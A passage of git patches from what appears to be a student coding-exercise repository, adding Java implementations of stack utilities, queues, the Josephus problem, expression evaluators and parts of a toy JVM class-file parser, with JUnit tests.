+        Stack<Integer> temp1 = new Stack<Integer>();
+        Stack<Integer> temp2 = new Stack<Integer>();
+        for(int i = 0; i < size; i++){
+        	temp1.push(s.pop());
+        }
+        for(int i = 0; i < size; i++){
+        	temp2.push(temp1.pop());
+        }
+        for(int i = 0; i < size; i++){
+        	s.push(temp2.pop());
+        }
+        
+		
+		
+	}
+
+	
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack<Integer> s, int o) {
+        if(s == null || s.isEmpty()) {
+        	return;
+        }
+        
+		Stack<Integer> newStack = new Stack<Integer>();
+		int value = s.pop();
+		while(value != o){
+			newStack.push(value);
+			value = s.pop();
+		}
+		while(!newStack.isEmpty()){
+			s.push(newStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack<Integer> s,int len) {
+		Object[] data = new Object[len];
+		for(int i = 0; i < len; i++){
+			data[i] = s.pop();
+		}
+		for(int i = len-1; i >= 0; i--){
+			s.push((Integer)data[i]);
+		}
+		return data;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		Stack<String> stack = new Stack<String>();
+		for(int i = 0; i < s.length(); i++){
+			String c = s.charAt(i)+"";
+			if(c.equals("{") || c.equals("[") || c.equals("(")){
+				stack.push(c);
+			}
+
+			if(c.equals("}")){
+				if(stack.peek().equals("{")){
+					stack.pop();
+				}else{
+					return false;
+				}
+			}
+			
+			if(c.equals("]")){
+				if(stack.peek().equals("[")){
+					stack.pop();
+				}else{
+					return false;
+				}
+			}
+			
+			if(c.equals(")")){
+				if(stack.peek().equals("(")){
+					stack.pop();
+				}else{
+					return false;
+				}
+			}
+
+		}
+		return stack.size() == 0;
+	}
+	
+	
+}
diff --git a/group19/1294642551/test/stackUtil/StackUtilTest.java b/group19/1294642551/test/stackUtil/StackUtilTest.java
new file mode 100644
index 0000000000..7f304445c7
--- /dev/null
+++ b/group19/1294642551/test/stackUtil/StackUtilTest.java
@@ -0,0 +1,66 @@
+package stackUtil;
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack<Integer>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack<Integer>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack<Integer>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}

From 09f9e7fe827ed58a266aafbbcbca7939ab05f290 Mon Sep 17 00:00:00 2001
From: hejj <844028312@qq.com>
Date: Sun, 7 May 2017 12:07:50 +0800
Subject: [PATCH 211/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/queue/CircleQueue.java   | 40 +++++++++-
 .../src/com/coding/basic/queue/Josephus.java  | 69 ++++++++++++++++-
 .../com/coding/basic/queue/JosephusTest.java  |  1 -
 .../basic/queue/QueueWithTwoStacks.java       | 19 ++++-
 .../basic/stack/expr/InfixToPostfix.java      | 25 +++++-
 .../coding/basic/stack/expr/PostfixExpr.java  | 29 ++++++-
 .../basic/stack/expr/PostfixExprTest.java     |  2 +-
 .../coding/basic/stack/expr/PrefixExpr.java   | 77 ++++++++++++++++++-
 .../basic/stack/expr/PrefixExprTest.java      |  2 +-
 9 files changed, 248 insertions(+), 16 deletions(-)

diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java b/group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java
index 1ac659da3d..48bcbd01f5 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java
@@ -1,5 +1,43 @@
 package com.coding.basic.queue;
 
 public class CircleQueue {
-
+	private int size;
+	private int  real;
+	private int front;
+	private Object[] object;
+	public CircleQueue(int size){
+		this.size=size+1;
+		object=new Object[this.size];
+		this.real=0;
+		this.front=0;
+	}
+	public boolean isEmpty(){
+		return real==front;
+	}
+	public int size(){
+		if(isEmpty())
+			return 0;
+		else
+			return real;
+	}
+	public Object deQueue(){
+		 if(!isEmpty()){
+			
+			Object o=object[front];
+			object[front]=null;
+			front=(front+1)%size;
+			return  o;
+		 }
+		return null;
+	}
+	public void enQueue(Object o){
+		if(!queueFull()){
+			object[real]=o;
+			real=(real+1)%size;
+		}
+	}
+	private boolean queueFull(){
+		
+		return (real+1)%size==front;
+	}
 }
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java b/group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java
index d629d847f4..46defa87cc 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java
@@ -3,17 +3,78 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import com.coding.basic.Queue;
+
 /**
  * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 知道最后一个人留下来
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死，直到最后一个人留下来
  * @author liuxin
  *
  */
 public class Josephus {
 	
 	public static List<Integer> execute(int n, int m){
-		
-		return null;
-	}
+		List<Integer> list=new ArrayList<Integer>();
+		Queue queue1=new Queue();
+		Queue queue2=new Queue();
+		for(int i=0;i<n;i++){
+			queue1.enQueue(i);
+		}
+		int start = 0;
+		while(queue1.size()>1){
+			int tag = 1;
+			int i=0;
+			while(tag<m){
+				if(i==start){
+					if(!queue1.isEmpty())
+						queue2.enQueue(queue1.deQueue());
+					else{
+						reset(queue1,queue2);
+						queue2.enQueue(queue1.deQueue());
+					}
+					tag++;
+				}
+				else{
+					queue2.enQueue(queue1.deQueue());
+					i++;
+				}
+			
+			}
+			if(tag==m){
+				Object o;
+				if(queue1.isEmpty()){
+					o=queue2.deQueue();
+				}
+				else
+					o=queue1.deQueue();
+				list.add((Integer) o);
+				start=queue2.size();
+			}
+			if(queue1.size()+queue2.size()>1)
+				reset(queue1,queue2);
+			else{
+				if(!queue1.isEmpty())
+					list.add((Integer) queue1.deQueue());
+				if(!queue2.isEmpty())
+					list.add((Integer) queue2.deQueue());
+			}
+		}
 	
+		return list;
+	}
+	private static void reset(Queue queue1,Queue queue2){
+		if(queue1.isEmpty()){
+			while(!queue2.isEmpty()){
+				queue1.enQueue(queue2.deQueue());
+			}
+		}
+		else{
+			while(!queue1.isEmpty()){
+				queue2.enQueue(queue1.deQueue());
+			}
+			while(!queue2.isEmpty()){
+				queue1.enQueue(queue2.deQueue());
+			}
+		}
+	}
 }
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java b/group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java
index 7d90318b51..8806a7b615 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java
@@ -19,7 +19,6 @@ public void tearDown() throws Exception {
 
 	@Test
 	public void testExecute() {
-		
 		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
 		
 	}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
index bbd4715ca6..37c181b022 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -16,22 +16,35 @@ public QueueWithTwoStacks() {
 
 
     public boolean isEmpty() {
-       return false;
+       return stack1.isEmpty();
     }
 
 
     
     public int size() {
-       return -1;
+       return stack1.size();
     }
 
 
 
     public void enQueue(E item) {
-        
+    	stack1.push(item);  
     }
 
     public E deQueue() {
+    	E item;
+    	while(!stack1.isEmpty()){
+    		if(stack1.size()==1){
+    			item=stack1.pop();
+    			while(!stack2.isEmpty()){
+    				stack1.push(stack2.pop());
+    			}
+    			return item;
+    		}
+    		else{
+    			stack2.push(stack1.pop());
+    		}
+    	}
         return null;
     }
 
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
index 96a2194a67..bf1c0052a5 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -1,12 +1,33 @@
 package com.coding.basic.stack.expr;
 
+import java.util.ArrayList;
 import java.util.List;
+import java.util.Stack;
+
+
 
 public class InfixToPostfix {
 	
 	public static List<Token> convert(String expr) {
-		
-		return null;
+		TokenParser parser=new TokenParser();
+		List<Token> exprs=parser.parse(expr);
+		List<Token>  numStack=new ArrayList<Token>();
+		Stack<Token> ope=new Stack<Token>();
+		for(Token token:exprs){
+			if(token.isOperator()){
+				if(!ope.isEmpty()&&!token.hasHigherPriority(ope.peek())){
+					numStack.add(ope.pop());
+				}
+				ope.push(token);
+			}
+			else if(token.isNumber()){
+				numStack.add(token);
+			}
+		}
+		while(!ope.isEmpty()){
+			numStack.add(ope.pop());
+		}
+		return numStack;
 	}
 	
 	
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
index dcbb18be4b..c9febad48b 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -11,7 +11,34 @@ public PostfixExpr(String expr) {
 	}
 
 	public float evaluate() {
-		return 0.0f;
+		TokenParser tokenParser=new TokenParser();
+		List<Token> tokens=tokenParser.parse(expr);
+		Stack stack=new Stack();
+		for(Token token:tokens){
+			if(token.isNumber()){
+				stack.push(new Float(token.getIntValue()));
+			}
+			else{
+				float one =(float) stack.pop();
+				float two=(float) stack.pop();
+				float result = 0;
+				String ope=token.toString();
+				if(ope.equals("-")){
+					result=two-one;
+				}
+				else if(ope.equals("*")){
+					result=two*one;
+				}
+				else if(ope.equals("/")){
+					result=two/one;
+				}
+				else if(ope.equals("+")){
+					result=two+one;
+				}
+				stack.push(result);
+			}
+		}
+		return (float) stack.pop();
 	}
 	
 	
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
index c0435a2db5..c4e3ca2dae 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -26,7 +26,7 @@ public void testEvaluate() {
 			Assert.assertEquals(288, expr.evaluate(),0.0f);
 		}
 		{
-			//9+(3-1)*3+10/2
+			//9+(3-1)*3+10/2      9 2 3 *
 			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
 			Assert.assertEquals(20, expr.evaluate(),0.0f);
 		}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
index 956927e2df..f3879f31f6 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -1,7 +1,8 @@
 package com.coding.basic.stack.expr;
 
 import java.util.List;
-import java.util.Stack;
+
+import com.coding.basic.Stack;
 
 public class PrefixExpr {
 	String expr = null;
@@ -11,7 +12,79 @@ public PrefixExpr(String expr) {
 	}
 
 	public float evaluate() {
-		return 0.0f;
+		TokenParser tokenParser=new TokenParser();
+		List<Token> tokens=tokenParser.parse(expr);
+		Stack stack=new Stack();
+		for(Token token:tokens){
+			if(token.isNumber()){
+				float result = 0;
+				if(!(stack.peek().equals("-")||stack.peek().equals("*")||stack.peek().equals("/")||stack.peek().equals("+"))){
+					float one = new Float( (float)stack.pop());
+					float two =token.getIntValue();
+					String ope=(String) stack.pop();
+					if(ope.equals("-")){
+						result=one-two;
+					}
+					else if(ope.equals("*")){
+						result=two*one;
+					}
+					else if(ope.equals("/")){
+						result=one/two;
+					}
+					else if(ope.equals("+")){
+						result=two+one;
+					}
+					
+					while(!("-".equals(stack.peek())||"*".equals(stack.peek())||"/".equals(stack.peek())||"+".equals(stack.peek()))&&!stack.isEmpty()){
+						 one =new Float( (float)stack.pop());
+						
+						ope=(String) stack.pop();
+							if(ope.equals("-")){
+								result=one-result;
+							}
+							else if(ope.equals("*")){
+								result=result*one;
+							}
+							else if(ope.equals("/")){
+								result=one/result;
+							}
+							else if(ope.equals("+")){
+								result=result+one;
+							}
+					
+					}	
+					stack.push(result);
+				}
+				else
+				 stack.push(new Float((float)token.getIntValue()));
+				
+			}
+			else if(token.isOperator()){
+
+				stack.push(token.toString());
+			}
+		}
+		while(stack.size()>1){
+			float one = new Float( (float)stack.pop());
+			float two = new Float( (float)stack.pop());
+			float result = 0;
+			String ope=(String) stack.pop();
+			if(ope.equals("-")){
+				result=two-one;
+			}
+			else if(ope.equals("*")){
+				result=two*one;
+			}
+			else if(ope.equals("/")){
+				result=two/one;
+			}
+			else if(ope.equals("+")){
+				result=two+one;
+			}
+			stack.push(result);
+			
+		}
+		return  (float) stack.pop() ;
 	}
 	
 	
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
index 5cec210e75..03e6bcaaab 100644
--- a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -25,7 +25,7 @@ public void testEvaluate() {
 		}
 		{
 			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");//  -++66
 			Assert.assertEquals(12, expr.evaluate(),0.001f);
 		}
 		{

From bdd071c6736811fb4b29ab512b0cc6ec7307137a Mon Sep 17 00:00:00 2001
From: hejj <844028312@qq.com>
Date: Sun, 7 May 2017 12:08:25 +0800
Subject: [PATCH 212/262] =?UTF-8?q?jvm=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coderising/jvm/attr/CodeAttr.java | 14 +++-
 .../src/com/coderising/jvm/clz/ClassFile.java | 17 +++-
 .../coderising/jvm/constant/ClassInfo.java    |  6 ++
 .../coderising/jvm/constant/ConstantInfo.java | 11 +++
 .../coderising/jvm/constant/ConstantPool.java |  2 +-
 .../coderising/jvm/constant/FieldRefInfo.java |  5 ++
 .../jvm/constant/MethodRefInfo.java           |  6 ++
 .../jvm/constant/NameAndTypeInfo.java         |  6 ++
 .../jvm/constant/NullConstantInfo.java        |  5 ++
 .../coderising/jvm/constant/StringInfo.java   |  6 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  5 ++
 .../jvm/loader/ClassFileParser.java           |  8 +-
 .../src/com/coderising/jvm/method/Method.java | 43 ++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 82 ++++++++++++++++++-
 .../com/coderising/jvm/test/EmployeeV1.java   |  1 -
 15 files changed, 206 insertions(+), 11 deletions(-)

diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java
index 96c7823b71..e8b0da8f82 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -3,6 +3,7 @@
 import java.io.UnsupportedEncodingException;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 import com.coderising.jvm.util.Util;
@@ -17,10 +18,15 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+	
+	public void setCmds(ByteCodeCommand[] cmds) {
+		this.cmds = cmds;
+	}
+
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java
index 4755266987..bdc1058a1f 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -80,13 +80,26 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for(Method method:methods){
+			if(pool.getUTF8String(method.getNameIndex()).equals(methodName)&&pool.getUTF8String(method.getDescriptorIndex()).equals(paramAndReturnType)){
+				return method;
+			}
+		}
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return getMethod("main","([Ljava/lang/String;)V");
+	}
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java
index aea9048ea4..1f34615ef5 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -21,4 +21,10 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+		
+	}
+	
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
index 466b072244..d61049b77e 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -25,5 +25,16 @@ public ConstantPool getConstantPool() {
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
+	public abstract void accept(Visitor visitor);
 	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		public void visistNullConstant(NullConstantInfo info);
+	}
+
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java
index 86c0445695..93506b1e20 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
index 65475e194c..6970072491 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -51,4 +51,9 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+		
+	}
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
index 7f05870020..2dabecf630 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -49,6 +49,12 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);
+		
+	}
 	
 	
 	
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index 402f9dec86..abf55fbd51 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -42,4 +42,10 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		visitor.visitNameAndType(this);
+	}
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
index 936736016f..ced0c8fc8b 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,10 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		visitor.visistNullConstant(this);
+	}
 	
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java
index f1f8eb4ed4..408557de2c 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -22,5 +22,11 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		visitor.visitString(this);
+	}
 	
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java
index 5cac9f04f7..6e67ca727d 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -26,6 +26,11 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		visitor.visistUTF8(this);
+	}
 	
 	
 
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
index 2148e0308f..0478ce8ee2 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
@@ -45,6 +47,10 @@ public ClassFile parse(byte[] codes) {
 		parseInterfaces(iter);
 		parseField(clf,iter);
 		parseMethod(clf,iter);
+		for(Method m:clf.getMethods()){
+			ByteCodeCommand [] cmds =CommandParser.parse(clf,m.getCodeAttr().getCode() );
+			m.getCodeAttr().setCmds(cmds);
+		}
 		
 		return clf;
 	}
@@ -83,7 +89,7 @@ else if(tag==ConstantInfo.FIELD_INFO){
 				int classIndex=iter.nextU2toInt();
 				int nameAndTypeIndex=iter.nextU2toInt();
 				field.setClassInfoIndex(classIndex);
-				field.setClassInfoIndex(nameAndTypeIndex);
+				field.setNameAndTypeIndex(nameAndTypeIndex);
 				constantPool.addConstantInfo(field);
 			}
 			else if(tag==ConstantInfo.FLOAT_INFO){
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java b/group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java
index 54cc611e6f..204f4685c3 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java
@@ -1,13 +1,18 @@
 package com.coderising.jvm.method;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
 
 import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.List;
 
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
@@ -70,4 +75,42 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return method;
 		
 	}
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+	public List<String> getParams(){
+		List<String> params=new ArrayList<String>();
+		MethodRefInfo methodInfo=(MethodRefInfo) this.clzFile.getConstantPool().getConstantInfo(descriptorIndex);
+		
+		String paramAndReturnType=methodInfo.getParamAndReturnType();
+		//(Ljava/lang/String;I)V
+		int frist=paramAndReturnType.indexOf("(");
+		int last=paramAndReturnType.lastIndexOf(")");
+		String param=paramAndReturnType.substring(frist+1, last);
+		if(null==param|| param.equals("")){
+			return null;
+		}
+		int pos=0;
+		while(!param.equals("")){
+			if(param.charAt(pos)=='L'){
+				int end=param.indexOf(";");
+				if(end==0){
+					new Exception("not find this object");
+				}
+				params.add(param.substring(pos+1, end));
+				pos=end+1;
+			}
+			else if(param.charAt(pos)=='F'){
+				params.add("F");
+				pos++;
+				
+			}
+			else if(param.charAt(pos)=='I'){
+				params.add("I");
+				pos++;
+			}
+			param.substring(pos);
+		}
+		return params;
+	}
 }
